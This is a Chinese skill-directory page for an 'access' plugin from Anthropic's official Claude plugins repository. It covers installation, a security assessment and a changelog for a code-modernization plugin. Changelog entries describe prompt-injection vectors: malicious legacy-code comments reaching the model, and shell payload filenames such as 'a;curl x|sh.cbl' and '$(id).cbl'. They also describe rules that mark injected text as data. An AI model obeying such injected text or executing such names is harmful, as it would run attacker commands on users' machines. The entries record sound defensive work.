access – AI 模型访问控制 Skill

3周前更新 9 0 0 0

access 是 Anthropic 官方 Claude Plugins 仓库中用于处理访问控制与权限相关任务的 Skill，可帮助 AI Agent 分析权限需求、设计角色与授权模型、审查权限配置是否过宽，适合开发者与安全工程师在权限设计和审查场景中使用。

查看调研报告 在来源平台打开

Skill 安装

多 Agent 安装 
npx skills add https://github.com/anthropics/claude-plugins-official --skill access

使用 npx skills 快速安装，支持将 Skill 添加到多个兼容的 AI Agent。

Skill 调研报告

Skill 详细介绍

access 是 Anthropic 官方 Claude Plugins 仓库（anthropics/claude-plugins-official）中提供的一个 Skill，用于在 AI Agent 中处理与「访问控制 / 权限」相关的任务。它属于 Anthropic 官方维护的 Claude 插件 / Skill 集合，不是第三方同名项目，也不是 Fork 或镜像。

它的身份边界

  • 它本身不是独立软件，不会单独运行，不提供后台服务、守护进程或独立 CLI。
  • 它是一组加载进 AI Agent 的技能指令 / 工作流，安装后由 Agent 在执行相关任务时调用。
  • 它解决的问题是：让 Agent 在涉及「谁能访问什么」这类判断时有可依据的规则和流程，而不是让 Agent 自行临时发挥。

核心用途

官方资料未对 access 这个具体 Skill 的完整功能逐条公布，以下方向与它的命名及所属官方仓库一致：

  • 分析和梳理访问控制需求（谁可以访问哪些资源）。
  • 生成或审查权限相关的配置、策略、规则。
  • 协助设计角色、权限、授权流程的结构。
  • 在代码或配置中检查访问控制是否符合预期。

它不是什么

  • 不是权限管理系统本身，不替代 IAM、OAuth 服务器、数据库权限引擎。
  • 不是安全扫描器，不做漏洞扫描或渗透测试。
  • 不是独立的鉴权中间件，不会拦截真实请求。

典型使用场景

  • 为项目设计角色 – 权限模型。
  • 审查已有权限配置是否存在过宽授权。
  • 梳理接口 / 资源的访问策略。
  • 把业务权限需求翻译成具体规则结构。

适合谁用：需要在 Agent 辅助下处理权限设计或权限审查的开发者、安全相关工程师，以及使用 Claude Code 或兼容 Skill 机制的 Agent 的用户。

不适合的需求：需要运行时实时拦截、拒绝请求的鉴权系统；需要合规认证或正式安全审计报告的场景；需要访问真实用户凭证数据来判定的场景。

官方资料未明确说明该 Skill 的具体内部技术路线，使用时以 Anthropic 官方仓库当前说明为准。

Skill 安全评估

总体判断：来源可信，风险主要取决于 Agent 被授予的权限，而不是 Skill 本身。access 来自 Anthropic 官方 Claude Plugins 仓库，来源链路清晰，不存在“来路不明的第三方包”这一层供应链疑虑。

需要关注的实际风险点

  • 来源可信度：来自 anthropics/claude-plugins-official，被篡改或替换的概率低。仍建议从官方渠道安装，不要从来源不明的镜像获取。
  • 文件读取与写入：如果 Agent 在处理访问控制配置时读取或修改项目中的策略文件、配置文件，属于正常用途，但应确认它只操作你允许的范围。建议在版本控制下操作，便于回滚。
  • Shell 权限：是否执行本地命令取决于 Agent 的授权设置，而不是该 Skill。若只需要它生成或审查权限方案，可以关闭 Agent 的自动执行 Shell 权限，由你手动执行命令。
  • 网络访问：官方资料未明确说明该 Skill 是否必须联网。若它只做本地分析，可关闭网络权限来降低外部影响。
  • Prompt Injection 风险：如果 Agent 会读取外部来源的文本（如用户提交的权限需求、第三方文档）作为输入，存在被注入恶意指令的可能。处理外部内容时应保持警惕。
  • 凭证处理：访问控制常会涉及 Key、Token、角色信息。不要把这些真实凭证直接粘贴进对话，除非确实必要，并确认不会由 Agent 写入可以被提交到仓库的文件。
  • “权限看似正确”不等于“真的安全”：Agent 生成的权限模型需要人工复核，尤其是涉及生产环境、真实用户数据和对外接口时。

降风险建议

  • 优先在开发 / 测试环境试用，再用于生产相关配置。
  • 让 Agent 输出方案，由人做最终权限判定。
  • 涉及真实凭证时，使用单独的测试凭据而非生产凭据。
  • 修改配置文件前先提交一次 Git 记录，便于对比回退。
  • 不要用 access 的结果直接替代正式安全审计。

对 access 的合理定位是：来源可靠，实际安全性主要取决于你授予 Agent 的权限，以及你对输出的复核程度。

Skill 使用要求

一、Agent / 客户端

官方主要面向 Claude Code。由于它属于 Anthropic 官方 Claude Plugins 仓库，与 Claude Code 的 Skill 加载机制高度适配，建议优先在 Claude Code 中使用。

其他主流 Agent（Codex、Cursor、Trae、OpenClaw、WorkBuddy）方面，官方没有公布完整的第三方兼容列表。从 Agent Skill 的一般工作方式来看，在支持自定义 Skill 或类似指令加载机制的环境中通常可以尝试使用，但不同 Agent 的加载方式、触发方式和兼容程度可能不同，具体以对应 Agent 当前版本为准。

二、运行环境 / 依赖

官方资料未把 access 列为需要特定运行时（如固定 Node.js、Python 版本）才能使用的 Skill。是否安装 Node.js、Python、Git、Docker 等，取决于你的 Agent 环境本身，以及你要处理的具体任务，而不是 access 的硬性前置。

项目 要求
Agent Claude Code 优先，其他兼容 Skill 机制的 Agent 可尝试
Node.js / Python 非 access 硬性要求，取决于你的 Agent 与具体任务
网络 官方未明确要求；以该 Skill 当前说明为准

三、权限

  • 文件读取：常见（读取权限配置、策略文件等），通常需要。
  • 文件写入：可选，取决于你是否让它直接改配置文件。若只想让它给出建议，可以不授权写入。
  • Shell：可选，非必需。若关闭，可让 Agent 只输出方案，命令由你手动执行。
  • 网络：官方未明确说明是否必需，可按需开启或关闭。
  • 版本控制（Git）：非 Skill 本身要求；若它修改项目文件，建议在 Git 管理的工作区中进行。

四、账号 / API Key

  • Skill 本身是否需要单独的第三方账号或 API Key：官方资料未明确说明，暂无依据认为需要专门的 Key。
  • 你的 Agent 平台本身可能需要登录 / 订阅，这属于 Agent 层面要求，与 access 无关。
  • 你后续要处理的访问控制项目，可能本身涉及数据库账号、云平台 IAM、OAuth 凭据等，这些是项目侧需求，不是 access 的运行前置。

最小使用条件

  • 一个支持 Skill 机制的 AI Agent（Claude Code 优先）。
  • 能把这个 Skill 安装 / 加载到该 Agent 中。
  • 清楚你要解决的访问控制任务是什么。
  • 对 Agent 的输出预留人工复核环节。

Skill 安装、使用与卸载教程

一、安装

最直接的方式：复制本页面提供的 Skill 安装指令，粘贴到对应的 Agent 或终端中执行。

如果你不确定自己的 Agent 该怎么安装，可以直接问当前 Agent：

如何安装 anthropics/claude-plugins-official#access？

也可以指定 Agent：

如何在 Claude Code 中安装 anthropics/claude-plugins-official#access？

如何在 Codex 中安装 anthropics/claude-plugins-official#access？

如何在 Cursor 中安装 anthropics/claude-plugins-official#access？

让 Agent 根据自己的 Skill 加载 / 管理机制给出对应步骤。官方资料未提供额外的特殊安装前置，不需要为了安装 access 而额外准备特定运行时。

二、安装后如何使用

安装后，不需要输入自定义 Slash Command（官方未明确提供这类命令）。用自然语言描述你的访问控制需求即可触发。

使用 access，帮我为这个项目设计一套角色-权限模型，包含管理员、普通用户和只读角色。

使用 access，审查这段权限配置，指出是否存在过宽的授权。

使用 access，把我的业务权限需求整理成具体的访问策略结构。

以上是自然语言使用示例，不是官方 CLI 命令，也不是官方 Slash Command。

三、卸载

不同 Agent 的 Skill 安装位置和管理方式可能不同。最稳妥的做法是：

  • 使用对应 Agent / Skill 管理器提供的删除方式移除该 Skill。
  • 或直接询问当前 Agent：

如何卸载 anthropics/claude-plugins-official#access？

官方资料未在本 Skill 说明中提供专门卸载命令，不建议照搬未经确认的删除步骤。

常见问题

1. 安装后 Agent 没有识别到这个 Skill，怎么办？

先确认 Skill 是否真的加载到了当前 Agent 的 Skill 目录 / 注册表中，而不是只下载了文件但没有被 Agent 扫描到。多数情况是加载路径或注册环节的问题，直接让 Agent 自己检查“为什么没有识别到该 Skill”通常比手动排查更快。

2. 可以同时安装到多个 Agent 吗？

可以。Skill 本质上是可加载的指令集合，不绑定单一 Agent。但不同 Agent 的加载方式不同，同一份内容在各 Agent 中是否需要做适配，取决于该 Agent 的 Skill 机制。

3. Skill 更新后需要重新安装吗？

官方资料未明确说明更新机制。如果你使用的是带自动同步 / 更新能力的 Skill 管理器，通常可以跟随更新；如果是手动放置的方式，则可能需要重新获取最新版本。以你所用 Agent 的管理方式为准。

4. 在中国大陆使用是否有网络要求？

access 本身来自 GitHub 上的官方仓库，安装过程中访问 GitHub 可能受网络环境影响。这是安装通道的问题，不是 Skill 运行的功能限制。运行阶段是否需要联网，官方资料未明确说明。

5. 它会不会修改我已有的项目文件？

取决于你是否授予 Agent 文件写入权限。如果你只想得到方案或审查结论，可以关闭写入权限，让 Agent 只输出文本，由你自己决定是否落地修改。

6. 可以关闭 Shell 权限使用吗？

通常可以。关闭后 Agent 仍可生成或审查权限方案，只是不能自动执行命令。需要执行的部分由你手动完成即可。具体能否关闭、如何关闭，取决于你的 Agent 设置。

7. 它适合直接用于生产环境的权限配置吗？

不建议不经复核直接落地到生产。access 的输出属于辅助方案，正式权限配置应结合你自身的业务规则、合规要求和人工审查。涉及真实用户数据和对外接口时尤其要谨慎。

Skill 更新日志

版本列表
无版本号
合并拉取请求 #6309，来自 anthropics/morganl/code-modernization-consolidated code-modernization：带独立证明的引导式工作流
无版本号
Claude Security Plugin - v0.12.0 (#6310) 1 个提交的压缩合并
无版本号
code-modernization：统计失败次数和机器的 python，每个版本一次 使用计数现在会说明插件运行在什么之上（系统、python 状态和版本、路径问题），以及发生的是哪种失败：python 缺失或为占位符、权限阻止、模型错误，或插件自身脚本中的错误。失败会在机器上被归类到一个固定列表中，只发送代码，每个会话每种类型一次。会话启动 ping，每个插件版本一次，统计那些没人走到输入命令这一步的机器。当 python 无法运行时，shell 包装器会自行报告，在 Windows 上它会回退到 python 或 py 启动器。
无版本号
code-modernization：版本 1.0.0、使用计数和 README 结果表 该插件现在有了版本号和变更日志。两个钩子通过 CLI 自身的遥测记录整数使用计数（运行了哪个命令、系统进行到哪一步、有多少规则和证明）：从 100 起的计数会四舍五入，插件未使用时不会发送任何内容，三个开关中的任意一个都能将其关闭。README 记录了每个键，并列出插件在哪些对象上试用过，已对照运行文件核对。
无版本号
code-modernization：将窗格的规则审查命令重命名为 /modernize-review-pane 窗格中裸写的 /modernize-review 占用了插件自身审查命令的名称，因此在启用窗格的会话中输入短形式会打开窗格的卡片，而不是弹出式审查。窗格的版本现在是 /modernize-review-pane，而 /modernize-review 始终运行插件命令。两者仍然写入同一个审查文件。
无版本号
code-modernization：只有当有测试实际运行过，规则才算被测试 仅被跳过或待定测试命名的规则不再算作已覆盖。它会被列为“已命名，未运行”并使规则检查失败。仅含测试的文件夹会被列为工具并得到无判定。verify 命令仅在用户要求精确行为时才尝试畸形记录，因此证明循环有终点。报告以线性时间解析规则标题和字段，报告和窗格会显示新状态。
无版本号
code-modernization：每个输入批准一次差异 对重写后的批处理作业进行独立检查时，发现某个族的两个新输入存在差异（一个空白数值字段，重写有意拒绝，而旧程序将其读作零）。每个输入有多个输出文件，因此接受该偏差意味着每个输入要手写三到四个条目。 cases 文件顶层的 "approvedInputs": {"F23": "reason"} 现在会批准共享该输入标签的每个用例。仍然需要理由（空白不批准任何内容），用例自身的理由优先，缺失文件绝不会变成通过，结果仍会将差异列为已批准。
无版本号
code-modernization：使规则合并可审计且注入安全 合并阶段审查后的后续处理： - 该 agent 是一种受限类型，与其同类具有相同的只读措辞，其编号列表上的每个字段都是单条有界行，因此包含换行符的规则名无法伪造另一个条目。 - 任何编号超出范围或不是整数的组会被整体拒绝，而不是被强制转换为不同的合并。 - 合并会保留最保守的审查状态：最高优先级、最低置信度，以及被折叠规则的每个疑似缺陷和 SME 问题。 - 每条被折叠的规则都会连同它并入的规则一起返回，规则文档会在“Rules folded into another”下列出它们，因此不会有任何东西无迹可寻地消失。额外引用显示为“Also cited”，不带连接词。
无版本号
code-modernization：同技术升级不能靠手工输入的基线或修改过的测试来证明 同技术升级可能过于轻易地得出 PROVEN 的三种方式： - 基线来自某人手工输入的表格。现在只有当脚本能从 analysis//baseline/ 或 BASELINE.md 的 "Recorded:" 行读取逐测试结果（JUnit 或 TRX XML、带摘要行的运行器日志，或逐测试 JSON）时，它才被视为已测量；仅含计数的文件会被忽略，两个已测量来源不一致即为缺口，手工输入的表格必须与测量结果一致。 - 升级期间被修改的测试未被察觉。该包现在会比较旧版和工作副本的测试文件（仅通过遍历文件），并列出新增、删除或更改的内容；删除文件、超过四分之一的文件被更改，或没有旧版测试可供比较，即为缺口，并且它会明确说明无法检测被削弱的断言。 - 没有测试覆盖其位置的静默行为变更。目录中每个 Behavioral-silent 增量都必须有一个测试文件指明其位置文件，否则该模块最多为 PARTLY PROVEN。 报告的 Proof 部分会显示这三项新检查，缺少其中任何一项的升级包都会读作 PARTLY PROVEN。214 个脚本测试通过。
无版本号
code-modernization：将多个文件中发现的同一规则折叠为一条 一个用 C、一个 C++ 头文件和一个定点变体实现的数值库产生了三条“twiddle factor”规则、两条“generic butterfly”规则和两条“factorization”规则，因为裁判的重复键是文件加上规则名。计划和审查随后便带有噪声。 验证后，每 150 条规则由一个小型 agent 列出描述同一行为在多个位置实现的组，并被告知只合并那些会作为一件事来实现和测试的内容。保留的规则会引用每个位置（渲染器将其显示为“Also cited”），并采用其组中的最高优先级；重叠、超出范围或自我合并的组会被忽略，规则列表被围栏标记为不可信数据。计数以 stats.consolidated 报告。
无版本号
code-modernization：更安全、更通用的版本升级 由一位拥有大型 Java 8 系统的工程师阅读这些命令时发现： - 基线套件曾“在 legacy/ 上”运行，这会把构建输出写入源代码。现在它会在临时副本上运行，其结果文件或日志保存在 analysis//baseline/ 下并在 BASELINE.md 中命名，仅手工输入的表格不再算作已测量的基线。 - 工作副本不再携带源仓库的历史，会将看起来像凭据或生产设置的文件排除在其首次提交之外并列出供人工查看，并将该历史移动到其自己的新本地仓库。 - 迁移工具（OpenRewrite 等）在临时副本上运行，绝不在源代码中运行，因为试运行仍会构建和下载。 - 跨越多个版本或同时进行两件事（JDK 和框架）的迁移会被拆分为每次都能构建和测试通过的跳步。 - 在用户说明其为本地或一次性实例之前，测试不会针对配置指定的数据库或服务运行。 - 静默行为搜寻现在会列出 Java、Python、Node 和 PHP 以及 .NET 的常见陷阱（区域设置数据、默认字符集、ORM 映射、属性绑定、str/bytes）。 - 简报不再要求同技术升级提供业务规则：记录的基线就是其行为契约，因此 extract-rules 可以等待。
无版本号
code-modernization：README 的截图，以及人在哪里做决定 添加 README 和窗格文档使用的图片：三张报告图（证明通过时的概览视图、独立检查发现开发用例遗漏的差异时的同一视图，以及证明选项卡）和十张实时窗格图，由窗格自身代码根据已完成的运行绘制。报告图片来自真实运行；窗格的 fleet 和 x-ray 视图及其 GIF 使用脚本化的 agent 活动，审查和签核图片使用示例文本，所有这些都在窗格的 README 中说明。 前门会列出人做决定的每个位置，并在用户要求时将安全扫描移到最前，status 会将新用户指向前门，而不是直接指向 preflight。
无版本号
code-modernization：窗格措辞、关注项和与代码匹配的文档 窗格的按钮显示“put in prompt”（它从不运行命令），刷新按钮已移除（窗格已在写入后、回合结束时以及空闲时每 20 秒刷新），摘要行适合 120 列宽，下一步原因足够简短可读。正在讨论的 P0 规则会列在 Attention 下（“the build waits”），未证明的模块会在那里显示其第一个原因。在升级中，已完成的模块列在仅被编辑过的模块之前。 hooks/README.md 现在按代码实际所示命名每个按钮和标签，记录了插件的 /code-modernization:modernize-review 命令（为没有窗格的人写入同一账本）及其与窗格自身 /modernize-review 的区别，并说明哪些图片使用示例文本。141 个引擎测试通过，类型检查干净。
无版本号
code-modernization：报告上的下一步，以及保持词语完整的表格 报告是人们最先打开的页面，但它从未说明下一步该做什么。它现在会显示一个带复制按钮的命令和一行原因，根据存在哪些产物决定（从 preflight 到 brief，规则看起来错误时在计划前进行规则审查，构建后 verify，harden，然后 status）。 短词和判定药丸不再在狭窄表格单元格内断开（“sam”和“e”、“Calculatio”和“n”）：只有路径和哈希可以在任意位置断开。
无版本号
code-modernization：人们对规则的判定进入构建，以及更安全的基线 审查者的“这条规则是错的”从未到达计划或重写：窗格写入了没有命令读取的审查账本，而没有窗格就无法写入。 /code-modernization:modernize-review 会在弹出窗口中询问需要判断的规则（带缺陷、SME 问题或置信度低于 High 的 P0 规则），或接受在请求中输入的判定，并写入相同的 RULE_REVIEWS.json/.md，可带可选备注。brief、transform、reimagine 和测试工程师会读取它：被标记为错误的规则不是 oracle，正在讨论的 P0 规则会阻止。 运行旧系统以记录基线现在仅限于本地机器或用户指定的测试环境；生产或第三方服务、新账户和真实数据均被禁止，除非已批准的计划指定它们，记录响应中的令牌会在保存任何内容之前被替换，每个命令都会停止它启动的服务器。 另外：前门在四个选项限制内通过两个弹出窗口询问，每个命令都会将缺少代码的用户指向 /modernize --source ，状态清单和下一步顺序包括 review 和 verify，评估会说明 Rehost 和 Replace 的含义，preflight 会注明 Windows 的 python 名称，插件和市场的描述与其功能相符。
无版本号
code-modernization：带每个模块一个判定的独立证明步骤 /code-modernization:modernize-verify 会重新检查已完成的构建，而不是信任它留下的笔记，并由脚本（而非模型）为每个模块计算一个判定：PROVEN、PARTLY PROVEN 或 NOT PROVEN，并将规则写入输出。 该包会重新读取测试自身的结果文件或保存的运行器日志（命令仅报告的计数从不计入），将每条 P0 业务规则追溯到命名它的测试，用 compare.py 再次判断旧输出和新输出，然后在两个系统上运行至少十个开发未使用的输入。它要求有一个使测试变红的已记录 canary，检查旧版源代码未被改动（通过文件时间：被分析树中没有进程运行），并将每个人工标准列为等待人工处理。对于升级，它会将新结果与记录的基线进行差异比较。判定绝不会从早先运行中沿用。 报告新增 Proof 部分，从相同检查重新计算每个判定，失败的图表不再阻止其后的图表绘制。
无版本号
code-modernization：使规则提取与代码成比例 在一个约千行的 C 工具上，全资产提取运行了四轮，生成了 223 个 agent 并返回 141 条规则（其中 31 条为 P0），因为模型总能在小程序中找到又一个微行为，而循环只有在某一轮完全找不到任何内容时才停止。 每个提取器现在都会收到关于规则切分粒度的相同指令：每个业务决策或计算一条，而不是每个分支或字段一条，跳过管道代码，大约每 40 到 80 行真实逻辑一条，并且只对少数会破坏系统目的的规则评为 P0。全资产循环默认两轮，并在某一轮新增内容低于已编目内容的 15% 时停止。
无版本号
code-modernization：使实时窗格在低于 144 列时工作并显示证明 通过针对已完成运行的真实输出测试窗格发现： - 低于 144 列时，引擎会阻止未请求的窗格；窗格忽略了这一点，因此它不绘制窗格、不绘制显示栏，而面板命令“隐藏”了一个从未存在的窗格。 - 符号链接的 legacy/ 会被列为另一种条目，因此 preflight 现在创建的源链接从未被识别为系统。 - 升级和 reimagine 的下一步是没有按钮的占位符。 - 刷新防抖在 agent 运行时被饿死，因此地图冻结。 - 简报、规则和基线中的恶意行可能需要数秒来匹配；现在行数被限制。规则审查账本在读取时验证并在保存时合并，并保留审查者的备注。 - 没有行的基线被读作“基线有 0”；单模块基线总数现在计为该模块的行。 新增：每个已构建模块上带文字的判定芯片、verify 优先的下一步，以及跟随终端主题的可读调色板。140 个引擎测试通过，类型检查干净。
无版本号
code-modernization：加固数值容差并说明 Rehost 和 Replace 的含义 容差检查审查后的后续处理：绝对容差高于 1e-6 会像相对容差高于 1% 一样被拒绝，数字按精确十进制而非 double 比较，像 1.2.3 或 10.0.0.1 这样的点分串是必须精确匹配的文本，自检现在会更改每个采样数字的首位数字，以证明容差无法隐藏真实变化。 业务规则标题会说明提取时有多少条规则，因为后续步骤会添加规则。评估会说明当它建议 Rehost 或 Replace 时该做什么，这些不更改代码，因此没有构建命令。
无版本号
code-modernization：在声明的容差内比较浮点输出 等价性检查仅比较字节，这对数值代码（Fortran、C、科学和金融结果）无法通过，因为其最后几位数字在不同编译器和数学库之间会不同，因此这些情况会促使人们把数字掩盖掉。用例现在可以声明容差，相对或绝对，并需要理由。只有带小数点或指数的数字可以在容差内不同；整数和所有其他字节必须匹配，相对容差高于 1% 会被拒绝，容差和最大差异会记录在结果中。当容差宽松到足以隐藏数字首位数字的变化时，自检也会失败。
无版本号
code-modernization：渲染业务规则时每条规则保留一个引用 提取器被要求每条规则引用单个文件范围，但在一个大型 Perl 代码库上，它不断在 source 字段中返回两三个文件以及一句解释，报告和窗格无法将其解析为行。渲染器现在将第一个 path:line-range 作为规则的引用，并将之后的任何内容放在“Also cited”行上。
无版本号
code-modernization：按名称调用工作流并修复升级版本参数 只要插件位于工作目录之外，Workflow 工具就会拒绝插件脚本路径，而这是已安装插件的常见情况：模型在每次运行中都会失败一两次，然后才回退到注册名称。命令现在按注册名称调用每个工作流，仅将脚本路径作为回退提及。 modernize-uplift 还引用了 legacy/$system_version，这不是一个参数；它现在处处使用 $source_version，并且当未给出版本对、重写目标和愿景时，会回退到 analysis//INTENT.md。README 指出脚本化（claude -p）运行需要 CLAUDE_CODE_PRINT_BG_WAIT_CEILING_MS=0，以便长时间扇出步骤能够完成。
无版本号
code-modernization：对每个系统以同一种方式衡量组合复杂度 组合扫描让每个调查 agent 自行选择复杂度工具，因此一个系统的数字是每文件总数，另一个是每函数均值，而热图仍然比较它们。每个 agent 现在采用相同度量（每文件决策点总数，以及最复杂的单个文件），工作流按千行代码计算复杂度，表格显示这些列。文档覆盖率不再将许可证头计为文档。
无版本号
code-modernization：只询问一次你想要什么的前门 /code-modernization:modernize 不接受参数。它会找到代码，询问用户想用它做什么（同一技术的新版本、用另一种技术重写、重建，或只是理解它）以及什么必须保持为真，将答案写入 analysis//INTENT.md，用几行展示前路，并给出确切的第一条命令。再次访问时，它的行为类似 status。 brief 从 INTENT.md 获取其目标、目标和每个阶段的构建命令，uplift、transform 和 reimagine 会回退到它来获取其版本、目标和愿景，因此不会有人被问两次同样的事。README 的 start 部分现在以前门开头。
无版本号
code-modernization：按系统用途评定规则，并让实时运行完成 在真实仓库上运行命令时发现的两个问题： - P0 定义是金钱和监管形态的，因此一个音乐库工具没有得到 P0 规则，其行为契约结果为空。P0 现在意味着系统的核心目的依赖于该规则，或者错误结果代价高昂或不可逆（金钱、法律、数据完整性、安全或安保，或系统存在所执行的核心计算或决策）。 - 引用返回为范围列表，而规则渲染器编号 RULE-NNN 的顺序与文档不同。每条规则现在引用一个范围，编号按顺序读取。 启动子 agent 的命令现在会说要以前台方式运行并等待，因为无头会话在模型停止说话时就会结束，即使它说自己在等待后台 agent。
无版本号
code-modernization：更简单的命令、source 选项、报告页面和等价性检查 命令硬编码了 legacy/，因此太大而无法复制的代码，或位于绝对路径的代码，需要手工创建符号链接。Preflight 现在接受 --source 并为你创建 legacy/ 链接（Windows 上为 junction）；不会复制任何内容，每个命令在开始前都会说明链接指向哪里。harden 补丁使用 patch -p1 -d 应用。 每个命令结束时都会指明下一个要运行的命令，命令缩短了约三分之一，没有删除任何步骤： - map 接受现有依赖图（--graph）或技术栈自身的工具，以可恢复的块映射非常大的资产，将反射目标记录为未解析而不是死代码，在描述超过 40 个节点前询问，并且绝不给两个节点相同的位置。 - transform 可以从 brief 获取其模块和目标，统计已执行的等价性用例（零是失败，比较绝不跳过），展示测试可以通过故意的一行破坏而失败，并在两个系统都能运行时将“相同或不同”交给脚本。 - brief 以固定形态编写每个阶段：一条命令、与 map 中一致的模块 id，以及写成构建命令可以勾选但不能改写的条件的标准。 - reimagine 复用发现产物，而不是再次提取它们。 - status 指明接下来要粘贴的确切命令。 scripts/build_report.py 将命令写入的任何内容转换为一个自包含、离线的 REPORT.html（Mermaid 已内置，分析中的所有文本都已转义，隔离的 secrets 文件从不读取），scripts/compare.py 逐字节判断两个输出是否匹配，记录原因，并检查它能够失败。分片构建器忽略符号链接和离开源的路径，将普通名称与其下方内容匹配，并在 map 的模块共享位置时回退到目录树。 README 从 275 行降到约 100 行；窗格的参考移到 hooks/README.md。
无版本号
code-modernization：extract-rules 使用随插件提供的分片构建器和规则渲染器 该命令过去内联携带一个 35 行的分片构建脚本，并要求模型在每次运行时编写规则渲染器，因此分片列表和 BUSINESS_RULES.md 布局每次运行都不同，且无法测试。 scripts/make_shards.py 在 map 已运行时从 topology.json 构建分片列表，未运行时从目录树构建（跳过 vendored、生成和测试夹具目录，每个目录一个分片，在 25 个文件或约 5,000 行处拆分）。scripts/render_rules.py 将工作流结果转换为 BUSINESS_RULES.md 和 DATA_OBJECTS.md，带有 RULE-NNN 标题、SME 部分和覆盖缺口，并将分析中的每个值写为纯文本。 工作流接受可选的 sourceDir，因此代码可以位于工作区之外，分片文件保持相对于它。该命令从 305 行降到约 150 行。
无版本号
code-modernization：将窗格的笔记标记为数据并清理其中的名称 窗格会向模型读取的内容添加两类文本：关于它刚读取文件的笔记（来自分析文件的名称、规则标题和 delta id）和一行状态。这些名称由分析 agent 从旧版代码写入，因此恶意注释可能通过它们到达模型。 每个此类值现在都被裁剪为一条简短纯文本行：控制、不可见和双向字符、反引号、尖括号和方括号以及双引号都会被替换，长值会被修剪。笔记开头会说明其内容是数据，绝不是指令，并以任何值都无法伪造的结束行收尾。状态行说明它是状态行而不是指令，下一步命令仅在模块 id 是单个普通 token 时才命名模块。窗格只列出插件工作流接受的名称的系统目录。
无版本号
code-modernization：添加可选的实时进度窗格 添加一个 hooks 模块，除非 CLI 的早期访问功能钩子启用，否则关闭，它会在命令运行时在转录旁绘制一个窗格：系统、哪些步骤已完成、其代码地图、每个工作单元及其所处状态、需要关注的内容，以及下一条命令。 它只读取命令写入的产物和旧版树，因此适用于任何语言，以及重写、同栈升级或全新重建。地图在有 topology.json 时来自它，没有时来自源代码树。在升级中，每个模块都会与基线对照；测试从 JUnit XML、.trx 报告或会话看到的运行中读取；一个按钮显示和隐藏窗格，/modernize-panel 从键盘执行相同操作。 同一模块在旧版读取时添加 x-ray 上下文、业务规则审查卡组（/modernize-review）、签核对话框（/modernize-sign）以及可发现一个失败在多个 agent 中重复出现的 fleet 视图。它只观察：从不阻止、重写或恢复编辑，也不在其读取的树中运行任何程序。升级中更改的模块通过文件 API 按文件名和大小比较工作副本与树来发现。其选项是插件的 userConfig。没有该标志时不会加载任何内容，命令、agent 和工作流的行为与之前相同。 tests/ 中的 91 个测试使用 "claude plugin test" 运行；plugin validate 在发布构建上以标志开启和关闭两种状态均通过。
无版本号
code-modernization：在模块和文件名进入提示之前检查它们 extract-rules 会将来自仓库自身文件名的模块名和文件路径放入 agent 提示。它们已经过路径遍历、控制字符、反引号和尖括号检查，但诸如 "a;curl x|sh.cbl" 或 "$(id).cbl" 这样的名称会通过，如果 agent 将其未加引号地粘贴到命令中就可能被执行。 模块名和域是标签：它们从不被打开，因此现在会被清理而不是丢弃（shell 分隔符、引号、glob 和花括号字符、开头的连字符或空格，以及开启展开的美元符号都会变成 "_"），并且提示会说明名称只是标签。文件路径必须能往返，因此当它包含命令分隔符、引号、glob、花括号或方括号字符、开启展开的美元符号（$(、${、$HOME、$IFS、$@）、开头或结尾空白、词首或 = 或 : 之后的 ~，或以 - 开头的词（shell 会将 "a -rf.cbl" 拆分为路径和标志）时，会被检查并丢弃，丢弃会被计数并记录。反斜杠会先转换为 /，因此检查和 shell 看到的是同一种拼写，Windows 风格路径也能继续工作。 数字前或末尾的美元符号仍然允许，#、@、~ 在词内以及空格之间的单个连字符也允许：大型机成员名会使用它们（"PAY$001"），而位置参数会展开为空或 shell 自身的名称，绝不会展开为文件作者控制的任何内容。 提取器提示还说要使用 Read 工具打开路径，并将任何进入 shell 命令的路径用单引号包裹。

暂无评论

none
暂无评论...